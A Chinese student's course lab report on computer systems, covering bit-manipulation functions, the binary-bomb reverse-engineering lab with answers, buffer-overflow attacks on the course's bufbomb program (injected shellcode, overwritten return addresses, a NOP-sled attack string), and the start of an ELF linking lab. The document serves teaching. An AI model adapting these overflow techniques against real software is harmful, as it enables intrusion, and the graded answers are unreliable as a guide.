计算机系统基础实验总结2023(已满绩点4.1)_第1页
计算机系统基础实验总结2023(已满绩点4.1)_第2页
计算机系统基础实验总结2023(已满绩点4.1)_第3页
计算机系统基础实验总结2023(已满绩点4.1)_第4页
计算机系统基础实验总结2023(已满绩点4.1)_第5页
已阅读5页,还剩19页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

计算机系统基础实验总结计算机学院计算机学院计算机类院系:学号:姓名:成绩:LAB1实验概述Lab1数据表示,需要我们在32位Linux虚拟机上使用有限种类的运算符(按位取反,逻辑与,或,非等),并尽可能的精简步骤来补充bits.c中的函数内容,以实现规定的函数功能。函数补充完成后可输入特定指令提交评阅。bits.c中的函数分为位操作函数,补码运算函数,浮点数表示函数几类,完成实验以掌握各种数据类型在计算机中的表示方法,与C语言数据类型的位级表示及操作。实验收获总结在对lab1中十五个位运算函数的补充过程中,我初步了解了Linux系统的一些命令和操作,也加深了位的表示,二进制补码运算,浮点数IEEE754表示等方面的理解。这次试验对我的理论课学习有很大帮助,更引起了我在学习理论与实验课的兴趣。在之后的实验和学习中我希望能学习到更多的有关计算机系统的知识并加以实践应用。具体题目分析bitOr(只利用~和&操作,将数x和y相或)括号内为题目翻译思路:由德摩根定律可知,取或,等价于将两个数的取反值~x,~y相与后,再取反。代码:intbitOr(intx,inty){return~((~x)&(~y));}evenBits(返回值为所有位均是1的数)思路:所有位均为一,即0x55555555,即将0x55左移八位,再左移十六位。代码:intevenBits(void){inta=0x55<<8|0x55;returna<<16|a;}isTmin(判断一个数x是否是int型最小值

)思路:int型最小值(补码是0x80000000)有性质:tmin+tmin=0.所以tmin=~tmin+1.但是要特判去掉同样满足的0。代码:intisTmin(intx){return!(x+x)&!!(x);}4.allEvenBits(判断一个二进制数偶数位是否全为1)思路:若一个二进制数偶数位为1,奇数位为0,则这个数为0x55555555。先将x=x&0x55555555,将这个数奇数为变为0,之后x^0x55555555判断该数是否为0x55555555。代码:intallEvenBits(intx){inty=0x55;y|=y<<8;y|=y<<16;x&=y;return!(x^y);}5.anyEvenBit(判断一个二进制数任意偶数位是否有1)思路:判断偶数位是否含有1,只需要将所有偶数位与1相与,奇数位与0相与。若结果为0,则偶数位没有1。代码:intanyEvenBit(intx){intmask=0x55|0x55<<8;mask=mask|mask<<16;return!!(x&mask);}6.fitsBits(判断x是否能用n位补码表示)思路:判断其[n+1,3]区间上的数是否全为1,或0,即可。所有数位都为0,即判断!x是否为1。判断一个数都为1,只需要将这个数取反~x,判断取反之后是否为0便可。代码:intfitsBits(intx,intn){inta=n+31;intb=x>>31;x=x>>a;x=x^b;return!x;}7.float_neg(浮点数取反)思路:取反即可,但需判断是否为NaN(if判断)。若是NaN数,返回原值,否则返回原数符号位取反对应的数代码:unsignedfloat_neg(unsigneduf){inttmp=0,ret=0;ret=uf^0x80000000;//signreversetmp=uf&0x7fffffff;//if(tmp>0x7f800000)//NaNret=uf;returnret;}8.isAsciiDigit(判断x是否可以是表示数字的Ascii码)思路:判断x是否满足0x30<=x<=0x39,若满足,返回1。代码:intisAsciiDigit(intx){intis_upper=!((x&~0x0F)^0x30);intis_lower=!((x&0x0F)+0x06&0xF0);returnis_upper&is_lower;}9.isLess(判断x<y)思路:x和y的符号位不同:如果x的符号位为1则满足;x和y的符号位相同:如果y-x的符号位为0则满足(此时可能相等)。代码:intisLess(intx,inty){intnot_y=~y;return((((x+not_y+1)&(x^not_y))|(x¬_y))>>0x1F)&1;}10.multFiveEighths(计算x*5/8)思路:x左移二位加x即为乘五,再右移三位即为除以八。代码:intmultFiveEighths(intx){x=x+(x<<2);return(x+(x>>31&7))>>3;}11.replaceByte(用字节数c来代替n中第x字节数)思路:首先去除x的第n字节数,与~(0xff<<(n*8))相与,然后与c<<(n*8)相或。代码:intreplaceByte(intx,intn,intc){intmask_=0xff<<(n<<3);c<<=(n<<3);return(x&(~mask_))|c;}12.bitParity(若x中含有奇数个0返回1,偶数个0返回0)思路:偶数与偶数之差为偶数,偶数与奇数之差为奇数。所以32位二进制数中1和0的个数与奇偶性相同。将32位二进制中所有数字进行异或计算。若有偶数个1则异或结果为0,反之。代码:intbitParity(intx){x^=x>>16;x^=x>>8;x^=x>>4;x^=x>>2;x^=x>>1;returnx&1;}13.float_half思路:先判断是否为NaN数阶码只有最后一位为1,除2之后要变为非规格化数,按非规格化数处理,即处理阶码下溢情况阶码全0,那要么是0,要么是非规格化数,直接右移一位同时保留符号位规格化数,正常处理,阶码减一代码:unsignedfloat_half(unsigneduf){unsigneds=uf&0x80000000;unsignedexp=uf&0x7f800000;intlsb=((uf&3)==3);if(exp==0x7f800000)returnuf;if(exp<=0x800000)returns|(((uf^s)+lsb)>>1);if(exp)return(uf-0x800000);}14.ilog2思路:以第一步为例,x>>16并且两次逻辑非,那么若x>>16大于零则得到1,说明对应log(x)>=4,于是1<<4代码:intilog2(intx){intbitsNumber=0;bitsNumber=(!!(x>>16))<<4;bitsNumber=bitsNumber+((!!(x>>(bitsNumber+8)))<<3);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+4)))<<2);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+2)))<<1);bitsNumber=bitsNumber+(!!(x>>(bitsNumber+1)));returnbitsNumber;}15.sm2tc(给出原码表示x,返回其对应的补码表示)思路:右移31位,将结果存为t。如果原数为正数,那么t此时全为0。而正数的补码不用改变;否则,t全为1(负数右移补1)。负数补码,取反+1,符号位变为1。代码:intsm2tc(intx){intsign=x>>31;return(x^sign)+(((1<<31)+1)&sign);}Lab1完成!!!LAB2实验概述Lab2二进制炸弹需要我们在32位linux虚拟机上用AT&T汇编语言在包含6个阶段和一个秘密阶段的可执行程序BinaryBombs中完成六个阶段的实验。各阶段要求分别输入一个字符串,若输入符合程序预期则通过,否则爆炸,爆炸会扣除一定分数(若担心爆炸次数过多,可在爆炸函数前设断点,防止爆炸)。通过将可执行程序反汇编并用动态分析调试的方法可以得知汇编代码的具体功能,并得出一个字符串作为答案。得出答案后将答案逐行输入文件中,后可输入特定指令提交评阅。实验收获总结在对lab2的分析调试中我对机器级程序原理的理解,以及通用调试器和逆向工程技能得到了提升,掌握了基本的gdb调试命令和ddd的一些使用方法,AT&T语言的解读能力也有了显著提升。完成了lab2的六个部分,计算机基础实验课程也已完成了一半,我对课程的学习也进入了更深层次的阶段,对接下来的部分有了期待和自信。具体题目分析phase_1

本题分析:首先查看bomb.c,了解大概的程序。再输入命令“objdump–dbomb>asm.txt”,对bomb进行反汇编并将汇编代码输出到asm.txt中打开反汇编代码,找到phase_1。根据strings_not_equal函数可以看出,该函数为判断字符串是否相等的函数。如果输入的字符串和%eax里面的字符不相同,则该炸弹爆炸,所以我们通过执行:gdbbomb,查看0x804a2e0处存储的数据内容。用x/1s0x804a2e0查看其中的数据,即可得到该阶段的密码。具体操作如图所示可得出答案为:“WehavetostandwithourNorthKoreanallies.”新建一个文本文件,输入第一关的答案运行bomb,提交phase_1答案,正确。phase_2本题分析首先分析反汇编代码,发现8048c00: e8bf070000 call80493c4<read_six_numbers>可知本题要求输入六个数字组成的字符串。由8048c08: 837ddc00 cmpl$0x0,-0x24(%ebp)8048c0c: 7905 jns8048c13<phase_2+0x2c>可知第一个数要大于零,由8048c13: bb01000000 mov$0x1,%ebx8048c18: 89d8 mov%ebx,%eax8048c1a: 03449dd8 add-0x28(%ebp,%ebx,4),%eax8048c1e: 39449ddc cmp%eax,-0x24(%ebp,%ebx,4)可知第二个数要比第一个数大一,否则爆炸,照此继续分析,可知第三个数比第二个数大二,第四个数比前一个数大三以此类推,可得六个数。故答案为:“12471116”在文本文件的下一行输入本关的答案运行bomb,提交phase_2答案,正确。phase_3首先分析反汇编代码由8048c63: 50 push%eax8048c64: 6836a30408 push$0x804a336查看本题要求输入的数据类型为“数字字符数字”由8048c7e: 837dec07 cmpl$0x7,-0x14(%ebp)8048c82: 0f87ef000000 ja8048d77<phase_3+0x130>可得的第一个数的要求是小于7,大于7爆炸下面在调试时查看8048c8b: ff248540a30408 jmp*0x804a340(,%eax,4)发现是一个switch语句,对应着第一个输入的数(0-7),如图若第一个数为0,则跳到0x8048c928048c92: b873000000 mov$0x73,%eax8048c97: 817df0b3000000 cmpl$0xb3,-0x10(%ebp)8048c9e: 0f84dd000000 je8048d81<phase_3+0x13a>8048ca4: e8db060000 call8049384<explode_bomb>分析可知若满足条件跳转到8048d81,否则爆炸8048d81: 3a45eb cmp-0x15(%ebp),%al8048d84: 7405 je8048d8b<phase_3+0x144>8048d86: e8f9050000 call8049384<explode_bomb>分析可得第二个字符的ascll码值同理转到8048d8b8048d8b: 8b45f4 mov-0xc(%ebp),%eax8048d8e: 65330514000000 xor%gs:0x14,%eax8048d95: 7405 je8048d9c<phase_3+0x155>8048d97: e834faffff call80487d0<__stack_chk_fail@plt>本题结束,得知若第一个数输入0,下两个是s179输入其他小于7的数也可得出正确答案,分析方法同理。若担心分析有误导致爆炸次数过多,可在爆炸函数前设断点,防止爆炸。故答案为:“0s179”在文本文件的下一行输入本关的答案运行bomb,提交phase_3答案,正确。phase_4在分析函数func4之前,先查看%eax里面的值,同样可以看出,该阶段的密码仍为两个int类型的数据,若不是两个数,爆炸。8048e6c: 50 push%eax8048e6d: 68b5a50408 push$0x804a5b5如图在分析phase_4可知:第一个输入的数作为func4的参数。接下来分析什么参数答案能使函数跳出递归即可由分析函数内容:08048d9e<func4>:8048d9e: 55 push%ebp8048d9f: 89e5 mov%esp,%ebp8048da1: 57 push%edi8048da2: 56 push%esi8048da3: 53 push%ebx……………….和尝试运行(采取防爆炸措施)可知当输入第一个字符为5,第二个为15时函数跳出递归故答案为:“5115”在文本文件的下一行输入本关的答案运行bomb,提交phase_4答案,正确。phase_5先查看%eax里面的值,同样可以看出,该阶段的密码仍为两个int类型的数据,若不是两个数,爆炸。(和大多数人的不一样)经分析8048e7a: 83c410 add$0x10,%esp8048e7d: 83f801 cmp$0x1,%eax8048e80: 7f05 jg8048e87<phase_5+0x33>8048e82: e8fd040000 call8049384<explode_bomb>8048e87: 8b45ec mov-0x14(%ebp),%eax8048e8a: 83e00f and$0xf,%eax8048e8d: 8945ec mov%eax,-0x14(%ebp)8048e90: 83f80f cmp$0xf,%eax8048e93: 742c je8048ec1<phase_5+0x6d>8048e95: b900000000 mov$0x0,%ecx8048e9a: ba00000000 mov$0x0,%edx8048e9f: 83c201 add$0x1,%edx8048ea2: 8b048560a30408 mov0x804a360(,%eax,4),%eax8048ea9: 01c1 add%eax,%ecx8048eab: 83f80f cmp$0xf,%eax8048eae: 75ef jne8048e9f<phase_5+0x4b>8048eb0: c745ec0f000000 movl$0xf,-0x14(%ebp)8048eb7: 83fa0f cmp$0xf,%edx8048eba: 7505 jne8048ec1<phase_5+0x6d>8048ebc: 3b4df0 cmp-0x10(%ebp),%ecx由此可知,本题应该是一个循环,这道题包含一个数组,每次循环取出数组中的一个值累加存储到%ecx中,最后一次取出的值应该是15,接着把%edx与15作比较,不相等则爆炸,反之,执行后续代码,由此可见循环需要进行15次,加上输入参数的时候进行了一次循环,所以,总共取了16次数组的值。那么我们打印出数组连续的16位(我试了多打出几位,发现溢出了,说明取16次值是正确的)只需要看前16个数又因为第二个数为在数组里取到的值的累加值,所以数2为:12+3+7+11+13+9+4+8+0+10+1+2+14+6+15=115尝试答案“5115”在文本文件的下一行输入本关的答案运行bomb,提交phase_5答案,正确phase_6首先看代码,发现出现过的readsixnumber函数8048ef3: e8cc040000 call80493c4<read_six_numbers>可知本题要求输入六个数。由8048f04: 83e801 sub$0x1,%eax8048f07: 83f805 cmp$0x5,%eax8048f0a: 7605 jbe8048f11<phase_6+0x38>8048f0c: e873040000 call8049384<explode_bomb>8048f11: 83c601 add$0x1,%esi8048f14: 83fe06 cmp$0x6,%esi8048f17: 7433 je8048f4c<phase_6+0x73>这一部分代码可知参数要小于等于6,第二个数和第一个数不相同,第三个数和第一,二个数不相同……可以推出读取到的六个数之间不相等且都小于等于6。也就是说这六个数是1,2,3,4,5,6的一种排列。接下来确定它们的顺序。接着查看后续代码,分析以后可以得到,此段代码主要实现把一个单链表的节点信息根据输入参数的值提取出来存储,也就是按照一定的顺序对新的链表的第一个节点的值和第二个结点的值作了比较,得出第一个节点的值大于等于第二个节点的值)把链表各个节点的地址存储在栈帧中,接下来的汇编代码则是根据上一步得到的降序排序得到的节点地址信息把链表恢复的这么一个过程。所以,只要能得到存储的这个链表存储的数据得出即可以推出输入的六个参数的顺序。操作如图:将第一个数按降序排列得到顺序624315故答案为:“624315”在文本文件的下一行输入本关的答案运行bomb,提交phase_6答案,正确。六个题均完成后答案文本为Lab2完成!!!LAB3实验概述Lab3缓冲区溢出攻击需要我们在32位linux虚拟机上用AT&T汇编语言对五个目标程序实施缓冲区溢出攻击,通过造成缓冲区溢出来破坏目标程序的栈帧结构,继而执行一些原来程序中没有的行为。lab3要我们修改一个正在运行程序的stack以达到预期的目的。具体的修改方式是:程序定义了一个局部C风格字符串变量,注意局部变量是放在stack上面的,所以当初始化这个字符串为用户输入,而又没有边界检查的话,就会缓冲区溢出,那么就会破坏这个函数栈,继而执行一些原本程序没有的东西。这关需要我们使用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容,也需要我们掌握简单的IA32汇编程序编写方法。得出答案后可输入特定指令提交评阅。实验收获总结在做目的位构造相应的攻击字符串,对没有缓冲区溢出保护的目标程序实施缓冲区溢出攻击从而跳转到新的进程的lab3实验中,我用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容来完成题目,在此过程中,我加深了对IA-32函数调用规则和栈帧结构的理解,也对攻击简单的程序的方法有了一定的了解与认识。也意识到要让自己的代码避免缓冲区溢出的问题。课程已完成多半,在实践的过程中我对理论课程第三单元的学习也进入了更深层次的理解,也对最后的一部分实验有了期待和自信。具体题目分析题目1:Smoke1.攻击原理:利用getbuf函数不检查所读取的字符串的长度的漏洞来对可执行程序bufbomb进行攻击。攻击字符串把smoke函数的地址写入返回地址的位置,当从getbuf函数返回时,就会调用smoke函数。2.思路做法:首先用objdump指令反汇编得到所需要的bufbomb的汇编语言文本。由80491c7: 8d45d8 lea-0x28(%ebp),%eax80491ca: 50 push%eax80491cb: e8d6faffff call8048ca6<Gets>80491d0: b801000000 mov$0x1,%eax可知位于<0x80491c7>地址处代码为预读的字符串在栈帧创建了0x28)字节的空间。为了覆盖被存在返回地址上的值,我们需要读入超过系统默认40字节大小的字符串。下面要构造0x28+4(ebp)+4(返回地址)=48字节长度的字节码就可以将返回地址覆盖,最后四个字节的内容放smoke函数的地址,前面44个字节任意。在bufbomb的反汇编代码中可找到smoke函数,可知其地址为de8b0408。所以答案就是0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de8b0408(小端法)输入指令提交,正确。题目2:Fizz攻击原理:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使bufbomb调用fizz函数,并将cookie值作为参数传递给在bufbomb中已经定义的fizz函数。和上一题的区别是函数fizz()且该函数有一个参数(每个人不同的cookie)。2.思路做法:由之前反汇编的汇编代码可以找到fizz函数的地址:08048c06<fizz>:由fizz中的8048c0c: 8b4508 mov0x8(%ebp),%eax8048c0f: 3b0540d10408 cmp0x804d140,%eax8048c15: 7521 jne8048c38<fizz+0x32>可知其中0x8(%ebp)就是函数的参数,内存地址0x804d140就是放cookie的位置。同上一关一样,先用fizz函数地址覆盖掉getbuf返回地址,并且要将fizz函数的返回地址覆盖掉,再用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖。故答案为0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068c040800000000a760a64f输入指令提交,正确。题目3:Bang攻击原理构造攻击字符串,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值。但全局变量并不存放在栈中,前面两题的方法只能修改栈中的内容,无法修改全局变量的内容。故需要先构建一段恶意代码,修改全局变量的值,首先执行这段恶意代码,然后再执行bang函数。思路做法先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应8048c5b: a138d10408 mov0x804d138,%eax8048c60: 3b0540d10408 cmp0x804d140,%eax判断0x804d138和0x804d140那一个是全局变量?在getbuf函数设断点,运行,查看一下两个地址的值可知0x804d138是全局变量。于是恶意汇编代码如下:movl$0x4fa660a7,0x804d138pushl$0x08048c55ret将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc–m32–c编译成.o可重定位目标文件,然后objdump–d反编译出机器码。操作如图还需要找到输入字符串存放的位置作为第一次ret指令的目标位置,用gdb调试,在callgets之前设置断点来查看eax寄存器中的内容,查看eax的值,分析getbuf()申请的缓冲区首地址为<0x55683aa8>。将指令代码抄入攻击文件,故答案为c70538d10408a760a64f68558c0408c300000000000000000000000000000000000000000000000000000000a83a6855输入指令提交,正确。题目四:Boom攻击原理构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,。设置返回值也就是更改eax的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令将这个地址压栈。思路做法首先构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax的值,可以用mov指令设置eax存的为cookie值。由8048d6b: e851040000 call80491c1<getbuf>8048d70: 89c3 mov%eax,%ebx可以知道在test函数中getbuf()在<0x08048d6b>被执行因此正确的跳转地址为<0x08048d70>另外,要还原栈帧,我们必须知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获取,在<0x08048d6b>设置断点,然后查看进入getbuf之前的%ebp寄存器值。故编写代码如下movl$0x4fa660a7,%eax//将返回值修改为cookiepush$0x08048d70//将要执行的指令的地址压入返回地址ret用同上一关一样的方法:将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc–m32–c编译成.o可重定位目标文件,然后objdump–d反编译出机器码。操作如图,得到字节码如下:接下来要恢复ebp的值,先得到ebp的旧值。用gdb调试:在getbuf第一行设置断点。查看ebp的值。用这个值覆盖ebp值。ebp值在返回地址的低方位,放在返回地址前。答案为:b8a760a64f68708d0408c30000000000000000000000000000000000000000000000000000000000f03a6855a83a6855输入指令提交,正确。题目5Nitro攻击原理用同一个攻击字符串,执行getubufn函数5次,使getbufn函数每次都把cookie值返回给testn函数。题目的栈地址是动态的,每次都不一样,bufbomb会连续要输入5次字符串,每次都调用getbufn(),每次的栈地址都不一样,可以使用汇编指令nop(机器代码:90)填充输入字符串,这样一来在一定范围内无论在哪里进入我们的攻击程序执行指令最终都会滑到攻击代码。思路做法题目的栈地址是动态的,每次都不一样。虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90)。ebp是随机的,但是ebp相对esp是绝对的,根据08048dd1<testn>:8048dd1: 55 push%ebp8048dd2: 89e5 mov%esp,%ebp8048dd4: 53 push%ebx8048dd5: 83ec14 sub$0x14,%esp8048dd8: e864ffffff call8048d41<uniqueval>8048ddd: 8945f4 mov%eax,-0xc(%ebp)8048de0: e8f2030000 call80491d7<getbufn>8048de5: 89c3 mov%eax,%ebx8048de7: e855ffffff call8048d41<uniqueval>8048dec: 8b55f4 mov-0xc(%ebp),%edx8048def: 39d0 cmp%edx,%eax8048df1: 7412 je8048e05<testn+0x34>8048df3: 83ec0c sub$0xc,%esp8048df6: 68d0a10408 push$0x804a1d08048dfb: e890faffff call8048890<puts@plt>8048e00: 83c410 add$0x10,%esp8048e03: eb3c jmp8048e41<testn+0x70>8048e05: 3b1d40d10408 cmp0x804d140,%ebx8048e0b: 7521 jne8048e2e<testn+0x5d>8048e0d: 83ec04 sub$0x4,%esp得,虽然ebp的值每次变化,无法直接赋值,但是在getbufn()程序中ebp和esp值差是一定的。综合得出恶意代码为:movl$0x4fa660a7,%eaxlea0x28(%esp),%ebppush$0x8048de5ret用同上一关一样的方法:将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc–m32–c编译成.o可重定位目标文件,然后objdump–d反编译出机器码。操作如图,得到字节码如下:再由getbufn函数:080491d7<getbufn>:80491d7: 55 push%ebp80491d8: 89e5 mov%esp,%ebp80491da: 81ec14020000 sub$0x214,%esp80491e0: 8d85f8fdffff lea-0x208(%ebp),%eax80491e6: 50 push%eax80491e7: e8bafaffff call8048ca6<Gets>80491ec: b801000000 mov$0x1,%eax要填入0x208+4+4=528字节。因为随机,不知道程序会跳到哪里,所以把恶意代码放到最后面,用nop滑行。所以,前面塞满90,最后面写上恶意代码程序,以及最后要跳的位置。最后寻找要跳的地址:由于随机化,buf首地址不确定。用gdb调试:如此这样五次这样获得了5个buf起始地址。取最高地址0x556838e8作为返回地址,这样就会一路滑行到恶意代码,执行恶意代码。答案为:9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090b8a760a64f8d6c241868e58d0408c3e8386855输入指令提交,正确。Lab3完成!!!LAB4实验概述Lab4ELF与链接:修改phase[n].o文件,使其与main..o文件链接,使得可执行文件实现指定的行为(输出个人的学号)。该实验分为五个阶段,每个阶段考察ELF文件组成与程序链接过程的不同方面知识:阶段1:全局变量阶段,2:指令阶段,3:符号解

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论